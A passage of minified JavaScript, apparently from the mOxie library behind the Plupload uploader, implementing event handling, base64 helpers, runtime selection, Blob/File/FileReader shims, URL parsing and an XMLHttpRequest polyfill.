i={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25};return e.extend(n,i),n.prototype=Error.prototype,n}(),EventException:function(){function t(e){this.code=e,this.name="EventException"}return e.extend(t,{UNSPECIFIED_EVENT_TYPE_ERR:0}),t.prototype=Error.prototype,t}()}}),i(h,[p,u],function(e,t){function n(){var n={};t.extend(this,{uid:null,init:function(){this.uid||(this.uid=t.guid("uid_"))},addEventListener:function(e,i,r,o){var a=this,s;return e=t.trim(e),/\s/.test(e)?(t.each(e.split(/\s+/),function(e){a.addEventListener(e,i,r,o)}),void 0):(e=e.toLowerCase(),r=parseInt(r,10)||0,s=n[this.uid]&&n[this.uid][e]||[],s.push({fn:i,priority:r,scope:o||this}),n[this.uid]||(n[this.uid]={}),n[this.uid][e]=s,void 0)},hasEventListener:function(e){return e?!(!n[this.uid]||!n[this.uid][e]):!!n[this.uid]},removeEventListener:function(e,i){e=e.toLowerCase();var r=n[this.uid]&&n[this.uid][e],o;if(r){if(i){for(o=r.length-1;o>=0;o--)if(r[o].fn===i){r.splice(o,1);break}}else r=[];r.length||(delete n[this.uid][e],t.isEmptyObj(n[this.uid])&&delete n[this.uid])}},removeAllEventListeners:function(){n[this.uid]&&delete n[this.uid]},dispatchEvent:function(i){var r,o,a,s,u={},c=!0,l;if("string"!==t.typeOf(i)){if(s=i,"string"!==t.typeOf(s.type))throw new e.EventException(e.EventException.UNSPECIFIED_EVENT_TYPE_ERR);i=s.type,s.total!==l&&s.loaded!==l&&(u.total=s.total,u.loaded=s.loaded),u.async=s.async||!1}if(-1!==i.indexOf("::")?function(e){r=e[0],i=e[1]}(i.split("::")):r=this.uid,i=i.toLowerCase(),o=n[r]&&n[r][i]){o.sort(function(e,t){return t.priority-e.priority}),a=[].slice.call(arguments),a.shift(),u.type=i,a.unshift(u);var d=[];t.each(o,function(e){a[0].target=e.scope,u.async?d.push(function(t){setTimeout(function(){t(e.fn.apply(e.scope,a)===!1)},1)}):d.push(function(t){t(e.fn.apply(e.scope,a)===!1)})}),d.length&&t.inSeries(d,function(e){c=!e})}return c},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},convertEventPropsToHandlers:function(e){var n;"array"!==t.typeOf(e)&&(e=[e]);for(var i=0;i<e.length;i++)n="on"+e[i],"function"===t.typeOf(this[n])?this.addEventListener(e[i],this[n]):"undefined"===t.typeOf(this[n])&&(this[n]=null)}})}return n.instance=new n,n}),i(m,[],function(){var e=function(e){return unescape(encodeURIComponent(e))},t=function(e){return decodeURIComponent(escape(e))},n=function(e,n){if("function"==typeof window.atob)return n?t(window.atob(e)):window.atob(e);var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r,o,a,s,u,c,l,d,f=0,p=0,h="",m=[];if(!e)return e;e+="";do s=i.indexOf(e.charAt(f++)),u=i.indexOf(e.charAt(f++)),c=i.indexOf(e.charAt(f++)),l=i.indexOf(e.charAt(f++)),d=s<<18|u<<12|c<<6|l,r=255&d>>16,o=255&d>>8,a=255&d,m[p++]=64==c?String.fromCharCode(r):64==l?String.fromCharCode(r,o):String.fromCharCode(r,o,a);while(f<e.length);return h=m.join(""),n?t(h):h},i=function(t,n){if(n&&e(t),"function"==typeof window.btoa)return window.btoa(t);var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r,o,a,s,u,c,l,d,f=0,p=0,h="",m=[];if(!t)return t;do r=t.charCodeAt(f++),o=t.charCodeAt(f++),a=t.charCodeAt(f++),d=r<<16|o<<8|a,s=63&d>>18,u=63&d>>12,c=63&d>>6,l=63&d,m[p++]=i.charAt(s)+i.charAt(u)+i.charAt(c)+i.charAt(l);while(f<t.length);h=m.join("");var g=t.length%3;return(g?h.slice(0,g-3):h)+"===".slice(g||3)};return{utf8_encode:e,utf8_decode:t,atob:n,btoa:i}}),i(g,[u,f,h],function(e,t,n){function i(n,r,a,s,u){var c=this,l,d=e.guid(r+"_"),f=u||"browser";n=n||{},o[d]=this,a=e.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},a),n.preferred_caps&&(f=i.getMode(s,n.preferred_caps,f)),l=function(){var t={};return{exec:function(e,n,i,r){return l[n]&&(t[e]||(t[e]={context:this,instance:new l[n]}),t[e].instance[i])?t[e].instance[i].apply(this,r):void 0},removeInstance:function(e){delete t[e]},removeAllInstances:function(){var n=this;e.each(t,function(t,i){"function"===e.typeOf(t.instance.destroy)&&t.instance.destroy.call(t.context),n.removeInstance(i)})}}}(),e.extend(this,{initialized:!1,uid:d,type:r,mode:i.getMode(s,n.required_caps,f),shimid:d+"_container",clients:0,options:n,can:function(t,n){var r=arguments[2]||a;if("string"===e.typeOf(t)&&"undefined"===e.typeOf(n)&&(t=i.parseCaps(t)),"object"===e.typeOf(t)){for(var o in t)if(!this.can(o,t[o],r))return!1;return!0}return"function"===e.typeOf(r[t])?r[t].call(this,n):n===r[t]},getShimContainer:function(){var n,i=t.get(this.shimid);return i||(n=this.options.container?t.get(this.options.container):document.body,i=document.createElement("div"),i.id=this.shimid,i.className="moxie-shim moxie-shim-"+this.type,e.extend(i.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),n.appendChild(i),n=null),i},getShim:function(){return l},shimExec:function(e,t){var n=[].slice.call(arguments,2);return c.getShim().exec.call(this,this.uid,e,t,n)},exec:function(e,t){var n=[].slice.call(arguments,2);return c[e]&&c[e][t]?c[e][t].apply(this,n):c.shimExec.apply(this,arguments)},destroy:function(){if(c){var e=t.get(this.shimid);e&&e.parentNode.removeChild(e),l&&l.removeAllInstances(),this.unbindAll(),delete o[this.uid],this.uid=null,d=c=l=e=null}}}),this.mode&&n.required_caps&&!this.can(n.required_caps)&&(this.mode=!1)}var r={},o={};return i.order="html5,flash,silverlight,html4",i.getRuntime=function(e){return o[e]?o[e]:!1},i.addConstructor=function(e,t){t.prototype=n.instance,r[e]=t},i.getConstructor=function(e){return r[e]||null},i.getInfo=function(e){var t=i.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},i.parseCaps=function(t){var n={};return"string"!==e.typeOf(t)?t||{}:(e.each(t.split(","),function(e){n[e]=!0}),n)},i.can=function(e,t){var n,r=i.getConstructor(e),o;return r?(n=new r({required_caps:t}),o=n.mode,n.destroy(),!!o):!1},i.thatCan=function(e,t){var n=(t||i.order).split(/\s*,\s*/);for(var r in n)if(i.can(n[r],e))return n[r];return null},i.getMode=function(t,n,i){var r=null;if("undefined"===e.typeOf(i)&&(i="browser"),n&&!e.isEmptyObj(t)){if(e.each(n,function(n,i){if(t.hasOwnProperty(i)){var o=t[i](n);if("string"==typeof o&&(o=[o]),r){if(!(r=e.arrayIntersect(r,o)))return r=!1}else r=o}}),r)return-1!==e.inArray(i,r)?i:r[0];if(r===!1)return!1}return i},i.capTrue=function(){return!0},i.capFalse=function(){return!1},i.capTest=function(e){return function(){return!!e}},i}),i(v,[p,u,g],function(e,t,n){return function i(){var i;t.extend(this,{connectRuntime:function(r){function o(t){var s,u;return t.length?(s=t.shift(),(u=n.getConstructor(s))?(i=new u(r),i.bind("Init",function(){i.initialized=!0,setTimeout(function(){i.clients++,a.trigger("RuntimeInit",i)},1)}),i.bind("Error",function(){i.destroy(),o(t)}),i.mode?(i.init(),void 0):(i.trigger("Error"),void 0)):(o(t),void 0)):(a.trigger("RuntimeError",new e.RuntimeError(e.RuntimeError.NOT_INIT_ERR)),i=null,void 0)}var a=this,s;if("string"===t.typeOf(r)?s=r:"string"===t.typeOf(r.ruid)&&(s=r.ruid),s){if(i=n.getRuntime(s))return i.clients++,i;throw new e.RuntimeError(e.RuntimeError.NOT_INIT_ERR)}o((r.runtime_order||n.order).split(/\s*,\s*/))},getRuntime:function(){return i&&i.uid?i:(i=null,null)},disconnectRuntime:function(){i&&--i.clients<=0&&(i.destroy(),i=null)}})}}),i(y,[u,m,v],function(e,t,n){function i(o,a){function s(t,n,o){var a,s=r[this.uid];return"string"===e.typeOf(s)&&s.length?(a=new i(null,{type:o,size:n-t}),a.detach(s.substr(t,a.size)),a):null}n.call(this),o&&this.connectRuntime(o),a?"string"===e.typeOf(a)&&(a={data:a}):a={},e.extend(this,{uid:a.uid||e.guid("uid_"),ruid:o,size:a.size||0,type:a.type||"",slice:function(e,t,n){return this.isDetached()?s.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,n)},getSource:function(){return r[this.uid]?r[this.uid]:null},detach:function(e){this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy",r[this.uid]),this.disconnectRuntime(),this.ruid=null),e=e||"";var n=e.match(/^data:([^;]*);base64,/);n&&(this.type=n[1],e=t.atob(e.substring(e.indexOf("base64,")+7))),this.size=e.length,r[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===e.typeOf(r[this.uid])},destroy:function(){this.detach(),delete r[this.uid]}}),a.data?this.detach(a.data):r[this.uid]=a}var r={};return i}),i(w,[u,l,y],function(e,t,n){function i(i,r){var o,a;if(r||(r={}),a=r.type&&""!==r.type?r.type:t.getFileMime(r.name),r.name)o=r.name.replace(/\\/g,"/"),o=o.substr(o.lastIndexOf("/")+1);else{var s=a.split("/")[0];o=e.guid((""!==s?s:"file")+"_"),t.extensions[a]&&(o+="."+t.extensions[a][0])}n.apply(this,arguments),e.extend(this,{type:a||"",name:o||e.guid("file_"),lastModifiedDate:r.lastModifiedDate||(new Date).toLocaleString()})}return i.prototype=n.prototype,i}),i(E,[u,l,f,p,h,c,w,g,v],function(e,t,n,i,r,o,a,s,u){function c(r){var c=this,d,f,p;if(-1!==e.inArray(e.typeOf(r),["string","node"])&&(r={browse_button:r}),f=n.get(r.browse_button),!f)throw new i.DOMException(i.DOMException.NOT_FOUND_ERR);p={accept:[{title:o.translate("All Files"),extensions:"*"}],name:"file",multiple:!1,required_caps:!1,container:f.parentNode||document.body},r=e.extend({},p,r),"string"==typeof r.required_caps&&(r.required_caps=s.parseCaps(r.required_caps)),"string"==typeof r.accept&&(r.accept=t.mimes2extList(r.accept)),d=n.get(r.container),d||(d=document.body),"static"===n.getStyle(d,"position")&&(d.style.position="relative"),d=f=null,u.call(c),e.extend(c,{uid:e.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){c.convertEventPropsToHandlers(l),c.bind("RuntimeInit",function(t,i){c.ruid=i.uid,c.shimid=i.shimid,c.bind("Ready",function(){c.trigger("Refresh")},999),c.bind("Change",function(){var t=i.exec.call(c,"FileInput","getFiles");c.files=[],e.each(t,function(e){return 0===e.size?!0:(c.files.push(new a(c.ruid,e)),void 0)})},999),c.bind("Refresh",function(){var t,o,a,s;a=n.get(r.browse_button),s=n.get(i.shimid),a&&(t=n.getPos(a,n.get(r.container)),o=n.getSize(a),s&&e.extend(s.style,{top:t.y+"px",left:t.x+"px",width:o.w+"px",height:o.h+"px"})),s=a=null}),i.exec.call(c,"FileInput","init",r)}),c.connectRuntime(e.extend({},r,{required_caps:{select_file:!0}}))},disable:function(t){var n=this.getRuntime();n&&n.exec.call(this,"FileInput","disable","undefined"===e.typeOf(t)?!0:t)},refresh:function(){c.trigger("Refresh")},destroy:function(){var t=this.getRuntime();t&&(t.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===e.typeOf(this.files)&&e.each(this.files,function(e){e.destroy()}),this.files=null}})}var l=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];return c.prototype=r.instance,c}),i(_,[c,f,p,u,w,v,h,l],function(e,t,n,i,r,o,a,s){function u(n){var a=this,u;"string"==typeof n&&(n={drop_zone:n}),u={accept:[{title:e.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},n="object"==typeof n?i.extend({},u,n):u,n.container=t.get(n.drop_zone)||document.body,"static"===t.getStyle(n.container,"position")&&(n.container.style.position="relative"),"string"==typeof n.accept&&(n.accept=s.mimes2extList(n.accept)),o.call(a),i.extend(a,{uid:i.guid("uid_"),ruid:null,files:null,init:function(){a.convertEventPropsToHandlers(c),a.bind("RuntimeInit",function(e,t){a.ruid=t.uid,a.bind("Drop",function(){var e=t.exec.call(a,"FileDrop","getFiles");a.files=[],i.each(e,function(e){a.files.push(new r(a.ruid,e))})},999),t.exec.call(a,"FileDrop","init",n),a.dispatchEvent("ready")}),a.connectRuntime(n)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null}})}var c=["ready","dragenter","dragleave","drop","error"];return u.prototype=a.instance,u}),i(x,[u,v,h],function(e,t,n){function i(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return i.prototype=n.instance,i}),i(R,[u,m,p,h,y,w,x],function(e,t,n,i,r,o,a){function s(){function i(e,i){function l(e){o.readyState=s.DONE,o.error=e,o.trigger("error"),d()}function d(){c.destroy(),c=null,o.trigger("loadend")}function f(t){c.bind("Error",function(e,t){l(t)}),c.bind("Progress",function(e){o.result=t.exec.call(c,"FileReader","getResult"),o.trigger(e)}),c.bind("Load",function(e){o.readyState=s.DONE,o.result=t.exec.call(c,"FileReader","getResult"),o.trigger(e),d()}),t.exec.call(c,"FileReader","read",e,i)}if(c=new a,this.convertEventPropsToHandlers(u),this.readyState===s.LOADING)return l(new n.DOMException(n.DOMException.INVALID_STATE_ERR));if(this.readyState=s.LOADING,this.trigger("loadstart"),i instanceof r)if(i.isDetached()){var p=i.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=p;break;case"readAsDataURL":this.result="data:"+i.type+";base64,"+t.btoa(p)}this.readyState=s.DONE,this.trigger("load"),d()}else f(c.connectRuntime(i.ruid));else l(new n.DOMException(n.DOMException.NOT_FOUND_ERR))}var o=this,c;e.extend(this,{uid:e.guid("uid_"),readyState:s.EMPTY,result:null,error:null,readAsBinaryString:function(e){i.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){i.call(this,"readAsDataURL",e)},readAsText:function(e){i.call(this,"readAsText",e)
+},abort:function(){this.result=null,-1===e.inArray(this.readyState,[s.EMPTY,s.DONE])&&(this.readyState===s.LOADING&&(this.readyState=s.DONE),c&&c.getRuntime().exec.call(this,"FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),c&&(c.getRuntime().exec.call(this,"FileReader","destroy"),c.disconnectRuntime()),o=c=null}})}var u=["loadstart","progress","load","abort","error","loadend"];return s.EMPTY=0,s.LOADING=1,s.DONE=2,s.prototype=i.instance,s}),i(b,[],function(){var e=function(t,n){for(var i=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],r=i.length,o={http:80,https:443},a={},s=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@]*):?([^:@]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/,u=s.exec(t||"");r--;)u[r]&&(a[i[r]]=u[r]);if(!a.scheme){n&&"string"!=typeof n||(n=e(n||document.location.href)),a.scheme=n.scheme,a.host=n.host,a.port=n.port;var c="";/^[^\/]/.test(a.path)&&(c=n.path,/(\/|\/[^\.]+)$/.test(c)?c+="/":c=c.replace(/\/[^\/]+$/,"/")),a.path=c+(a.path||"")}return a.port||(a.port=o[a.scheme]||80),a.port=parseInt(a.port,10),a.path||(a.path="/"),delete a.source,a},t=function(t){var n={http:80,https:443},i=e(t);return i.scheme+"://"+i.host+(i.port!==n[i.scheme]?":"+i.port:"")+i.path+(i.query?i.query:"")},n=function(t){function n(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof t&&(t=e(t)),n(e())===n(t)};return{parseUrl:e,resolveUrl:t,hasSameOrigin:n}}),i(T,[u,v,m],function(e,t,n){return function(){function i(e,t){if(!t.isDetached()){var i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t);return this.disconnectRuntime(),i}var r=t.getSource();switch(e){case"readAsBinaryString":return r;case"readAsDataURL":return"data:"+t.type+";base64,"+n.btoa(r);case"readAsText":for(var o="",a=0,s=r.length;s>a;a++)o+=String.fromCharCode(r[a]);return o}}t.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return i.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return i.call(this,"readAsDataURL",e)},readAsText:function(e){return i.call(this,"readAsText",e)}})}}),i(S,[p,u,y],function(e,t,n){function i(){var e,i=[];t.extend(this,{append:function(r,o){var a=this,s=t.typeOf(o);o instanceof n?e={name:r,value:o}:"array"===s?(r+="[]",t.each(o,function(e){a.append(r,e)})):"object"===s?t.each(o,function(e,t){a.append(r+"["+t+"]",e)}):"null"===s||"undefined"===s||"number"===s&&isNaN(o)?a.append(r,"false"):i.push({name:r,value:o.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return e&&e.value||null},getBlobName:function(){return e&&e.name||null},each:function(n){t.each(i,function(e){n(e.value,e.name)}),e&&n(e.value,e.name)},destroy:function(){e=null,i=[]}})}return i}),i(A,[u,p,h,m,b,g,x,y,T,S,d,l],function(e,t,n,i,r,o,a,s,u,c,l,d){function f(){this.uid=e.guid("uid_")}function p(){function n(e,t){return y.hasOwnProperty(e)?1===arguments.length?l.can("define_property")?y[e]:v[e]:(l.can("define_property")?y[e]=t:v[e]=t,void 0):void 0}function u(t){function i(){k.destroy(),k=null,s.dispatchEvent("loadend"),s=null}function r(r){k.bind("LoadStart",function(e){n("readyState",p.LOADING),s.dispatchEvent("readystatechange"),s.dispatchEvent(e),I&&s.upload.dispatchEvent(e)}),k.bind("Progress",function(e){n("readyState")!==p.LOADING&&(n("readyState",p.LOADING),s.dispatchEvent("readystatechange")),s.dispatchEvent(e)}),k.bind("UploadProgress",function(e){I&&s.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),k.bind("Load",function(t){n("readyState",p.DONE),n("status",Number(r.exec.call(k,"XMLHttpRequest","getStatus")||0)),n("statusText",h[n("status")]||""),n("response",r.exec.call(k,"XMLHttpRequest","getResponse",n("responseType"))),~e.inArray(n("responseType"),["text",""])?n("responseText",n("response")):"document"===n("responseType")&&n("responseXML",n("response")),U=r.exec.call(k,"XMLHttpRequest","getAllResponseHeaders"),s.dispatchEvent("readystatechange"),n("status")>0?(I&&s.upload.dispatchEvent(t),s.dispatchEvent(t)):(N=!0,s.dispatchEvent("error")),i()}),k.bind("Abort",function(e){s.dispatchEvent(e),i()}),k.bind("Error",function(e){N=!0,n("readyState",p.DONE),s.dispatchEvent("readystatechange"),D=!0,s.dispatchEvent(e),i()}),r.exec.call(k,"XMLHttpRequest","send",{url:E,method:_,async:w,user:R,password:b,headers:x,mimeType:S,encoding:T,responseType:s.responseType,withCredentials:s.withCredentials,options:P},t)}var s=this;M=(new Date).getTime(),k=new a,"string"==typeof P.required_caps&&(P.required_caps=o.parseCaps(P.required_caps)),P.required_caps=e.extend({},P.required_caps,{return_response_type:s.responseType}),t instanceof c&&(P.required_caps.send_multipart=!0),L||(P.required_caps.do_cors=!0),P.ruid?r(k.connectRuntime(P)):(k.bind("RuntimeInit",function(e,t){r(t)}),k.bind("RuntimeError",function(e,t){s.dispatchEvent("RuntimeError",t)}),k.connectRuntime(P))}function g(){n("responseText",""),n("responseXML",null),n("response",null),n("status",0),n("statusText",""),M=C=null}var v=this,y={timeout:0,readyState:p.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},w=!0,E,_,x={},R,b,T=null,S=null,A=!1,O=!1,I=!1,D=!1,N=!1,L=!1,M,C,F=null,H=null,P={},k,U="",B;e.extend(this,y,{uid:e.guid("uid_"),upload:new f,open:function(o,a,s,u,c){var l;if(!o||!a)throw new t.DOMException(t.DOMException.SYNTAX_ERR);if(/[\u0100-\uffff]/.test(o)||i.utf8_encode(o)!==o)throw new t.DOMException(t.DOMException.SYNTAX_ERR);if(~e.inArray(o.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(_=o.toUpperCase()),~e.inArray(_,["CONNECT","TRACE","TRACK"]))throw new t.DOMException(t.DOMException.SECURITY_ERR);if(a=i.utf8_encode(a),l=r.parseUrl(a),L=r.hasSameOrigin(l),E=r.resolveUrl(a),(u||c)&&!L)throw new t.DOMException(t.DOMException.INVALID_ACCESS_ERR);if(R=u||l.user,b=c||l.pass,w=s||!0,w===!1&&(n("timeout")||n("withCredentials")||""!==n("responseType")))throw new t.DOMException(t.DOMException.INVALID_ACCESS_ERR);A=!w,O=!1,x={},g.call(this),n("readyState",p.OPENED),this.convertEventPropsToHandlers(["readystatechange"]),this.dispatchEvent("readystatechange")},setRequestHeader:function(r,o){var a=["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"];if(n("readyState")!==p.OPENED||O)throw new t.DOMException(t.DOMException.INVALID_STATE_ERR);if(/[\u0100-\uffff]/.test(r)||i.utf8_encode(r)!==r)throw new t.DOMException(t.DOMException.SYNTAX_ERR);return r=e.trim(r).toLowerCase(),~e.inArray(r,a)||/^(proxy\-|sec\-)/.test(r)?!1:(x[r]?x[r]+=", "+o:x[r]=o,!0)},getAllResponseHeaders:function(){return U||""},getResponseHeader:function(t){return t=t.toLowerCase(),N||~e.inArray(t,["set-cookie","set-cookie2"])?null:U&&""!==U&&(B||(B={},e.each(U.split(/\r\n/),function(t){var n=t.split(/:\s+/);2===n.length&&(n[0]=e.trim(n[0]),B[n[0].toLowerCase()]={header:n[0],value:e.trim(n[1])})})),B.hasOwnProperty(t))?B[t].header+": "+B[t].value:null},overrideMimeType:function(i){var r,o;if(~e.inArray(n("readyState"),[p.LOADING,p.DONE]))throw new t.DOMException(t.DOMException.INVALID_STATE_ERR);if(i=e.trim(i.toLowerCase()),/;/.test(i)&&(r=i.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(i=r[1],r[2]&&(o=r[2])),!d.mimes[i])throw new t.DOMException(t.DOMException.SYNTAX_ERR);F=i,H=o},send:function(n,r){if(P="string"===e.typeOf(r)?{ruid:r}:r?r:{},this.convertEventPropsToHandlers(m),this.upload.convertEventPropsToHandlers(m),this.readyState!==p.OPENED||O)throw new t.DOMException(t.DOMException.INVALID_STATE_ERR);if(n instanceof s)P.ruid=n.ruid,S=n.type||"application/octet-stream";else if(n instanceof c){if(n.hasBlob()){var o=n.getBlob();P.ruid=o.ruid,S=o.type||"application/octet-stream"}}else"string"==typeof n&&(T="UTF-8",S="text/plain;charset=UTF-8",n=i.utf8_encode(n));this.withCredentials||(this.withCredentials=P.required_caps&&P.required_caps.send_browser_cookies&&!L),I=!A&&this.upload.hasEventListener(),N=!1,D=!n,A||(O=!0),u.call(this,n)},abort:function(){if(N=!0,A=!1,~e.inArray(n("readyState"),[p.UNSENT,p.OPENED,p.DONE]))n("readyState",p.UNSENT);else{if(n("readyState",p.DONE),O=!1,!k)throw new t.DOMException(t.DOMException.INVALID_STATE_ERR);k.getRuntime().exec.call(k,"XMLHttpRequest","abort",D),D=!0}},destroy:function(){k&&("function"===e.typeOf(k.destroy)&&k.destroy(),k=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}})}var h={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};f.prototype=n.instance;var m=["loadstart","progress","abort","error","load","timeout","loadend"],g=1,v=2;return p.UNSENT=0,p.OPENED=1,p.HEADERS_RECEIVED=2,p.LOADING=3,p.DONE=4,p.prototype=n.instance,p}),i(O,[u,m,v,h],function(e,t,n,i){function r(){function i(){l=d=0,c=this.result=null}function o(t,n){var i=this;u=n,i.bind("TransportingProgress",function(t){d=t.loaded,l>d&&-1===e.inArray(i.state,[r.IDLE,r.DONE])&&a.call(i)},999),i.bind("TransportingComplete",function(){d=l,i.state=r.DONE,c=null,i.result=u.exec.call(i,"Transporter","getAsBlob",t||"")},999),i.state=r.BUSY,i.trigger("TransportingStarted"),a.call(i)}function a(){var e=this,n,i=l-d;f>i&&(f=i),n=t.btoa(c.substr(d,f)),u.exec.call(e,"Transporter","receive",n,l)}var s,u,c,l,d,f;n.call(this),e.extend(this,{uid:e.guid("uid_"),state:r.IDLE,result:null,transport:function(t,n,r){var a=this;if(r=e.extend({chunk_size:204798},r),(s=r.chunk_size%3)&&(r.chunk_size+=3-s),f=r.chunk_size,i.call(this),c=t,l=t.length,"string"===e.typeOf(r)||r.ruid)o.call(a,n,this.connectRuntime(r));else{var u=function(e,t){a.unbind("RuntimeInit",u),o.call(a,n,t)};this.bind("RuntimeInit",u),this.connectRuntime(r)}},abort:function(){var e=this;e.state=r.IDLE,u&&(u.exec.call(e,"Transporter","clear"),e.trigger("TransportingAborted")),i.call(e)},destroy:function(){this.unbindAll(),u=null,this.disconnectRuntime(),i.call(this)}})}return r.IDLE=0,r.BUSY=1,r.DONE=2,r.prototype=i.instance,r}),i(I,[u,f,p,T,A,g,v,O,d,h,y,w,m],function(e,t,n,i,r,o,a,s,u,c,l,d,f){function p(){function i(e){e||(e=this.getRuntime().exec.call(this,"Image","getInfo")),this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name)}function c(t){var i=e.typeOf(t);try{if(t instanceof p){if(!t.size)throw new n.DOMException(n.DOMException.INVALID_STATE_ERR);m.apply(this,arguments)}else if(t instanceof l){if(!~e.inArray(t.type,["image/jpeg","image/png"]))throw new n.ImageError(n.ImageError.WRONG_FORMAT);g.apply(this,arguments)}else if(-1!==e.inArray(i,["blob","file"]))c.call(this,new d(null,t),arguments[1]);else if("string"===i)/^data:[^;]*;base64,/.test(t)?c.call(this,new l(null,{data:t}),arguments[1]):v.apply(this,arguments);else{if("node"!==i||"img"!==t.nodeName.toLowerCase())throw new n.DOMException(n.DOMException.TYPE_MISMATCH_ERR);c.call(this,t.src,arguments[1])}}catch(r){this.trigger("error",r)}}function m(t,n){var i=this.connectRuntime(t.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",t,"undefined"===e.typeOf(n)?!0:n)}function g(t,n){function i(e){r.ruid=e.uid,e.exec.call(r,"Image","loadFromBlob",t)}var r=this;r.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){i(t)}),n&&"string"==typeof n.required_caps&&(n.required_caps=o.parseCaps(n.required_caps)),this.connectRuntime(e.extend({required_caps:{access_image_binary:!0,resize_image:!0}},n))):i(this.connectRuntime(t.ruid))}function v(e,t){var n=this,i;i=new r,i.open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){g.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}a.call(this),e.extend(this,{uid:e.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){this.bind("Load Resize",function(){i.call(this)},999),this.convertEventPropsToHandlers(h),c.apply(this,arguments)},downsize:function(t,i,r,o){try{if(!this.size)throw new 